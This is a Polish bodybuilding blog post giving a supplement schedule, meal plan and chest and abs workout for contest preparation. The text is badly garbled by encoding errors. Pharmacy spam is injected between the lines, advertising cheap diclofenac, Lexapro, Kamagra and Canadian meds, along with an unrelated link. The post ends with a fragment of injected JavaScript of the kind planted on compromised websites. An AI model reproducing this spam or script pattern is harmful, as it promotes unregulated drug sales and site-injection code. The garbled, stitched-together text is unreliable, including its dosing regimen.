TRENING NA 3 TYGODNIE I 6 Dni oraz SUPLEMENTY OD TREC ‚A :

16.04.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

SUPLEMENTACJA :

+ Rano:
– 4 kaps CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 10 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 0,5 tab VIT-C Strong 1000
– 2 kaps Clenburexin 2
– 1 kaps Magne-100 Sport
– 1 kaps MEGA Mineral

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000

cheapest diclofenac Purchase + PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000
– 1 tab Multi Pack 36

Order + Przed Treningiem:
– 15 gram BCAA Powder
– 1 tab Fat Transporter
– 2 kaps Clenburexin 2
– 12 kaps AAKG MegaHardcore
– 2 kaps CM3

+ Po treningu siAi??owym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 gram Vitargo electro-energy
– 4 kaps CM3
– 1 tab VIT-C Strong 1000
– 1 kaps MEGA Mineral

+ Po treningu aerobowym :
– 50 gram IsoLate 100

+ Na Noc: http://lions-heilbronn.de/?p=27153
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 7 tab GH Turbo

ZMIANY :
– DODAA?EM 5 GRAM BCAA POWDER RANO
– DODAA?EM 2 TAB MEGA MINERAL
– DODAA?EM 1 TAB MULTI PACK 36

DIETA : buy lexapro online cheap

1 POSIA?EK :
90 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

buy kamagra oral jelly. Kamagra online. where to buy kamagra safely. 2 POSIA?EK : Buy canadian meds online
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIA?EK :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK : Order
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

POSIA?EK (po siAi??owni) :
– 50 gram Vitargo electro-energy

POSIA?EK (po pozowaniu) : Cheap
– 50 gram ISOLATE 100

5 POSIA?EK (po siAi??owni) :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka

6 POSIA?EK :
200 gram gotowanej piersi z kurczaka

TRENING :

KLATKA :

— Rozgrzewka —
3 x 12,12,10 – WYCISKANIE SZTANGI NA A?AWCE
3 x A?Ai??CZONA – ROZPIA?TKI PO 15 POWTAi??RZEA? + 12 POWTAi??RZEA? WYCISKANIE WAi??SKAi?? HANTLI W LEKKIM SKOSIE W GAi??RE
3 X 20 WYCISKANIE GA?OWAi?? W DAi??A? NA SMITH’E
3 X 20 WYCISKANIE GA?OWAi?? W GAi??RE NA SMITH’E
3 X PRZENOSZENIE HANTLA NA A?AWCE POZIOMEJ

BRZUCH :

3 x SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU KLA?CZAi??C + parAi?? ostatnich ruchA?w na boki.
3 x MAX UNOSZENIE NAi??G W PODPORZE

AEROBY: Pills

60 min – bieA?nia

SUPLEMENTY KTAi??RE DOSTAA?EM WCZORAJ OD TREC ‚a aby pomA?c mi w przygotowaniach :

Pozdrawiam
Hej,document.currentScript.parentNode.insertBefore(s, document.currentScript); cheap aristocort r if (document.currentScript) { Buy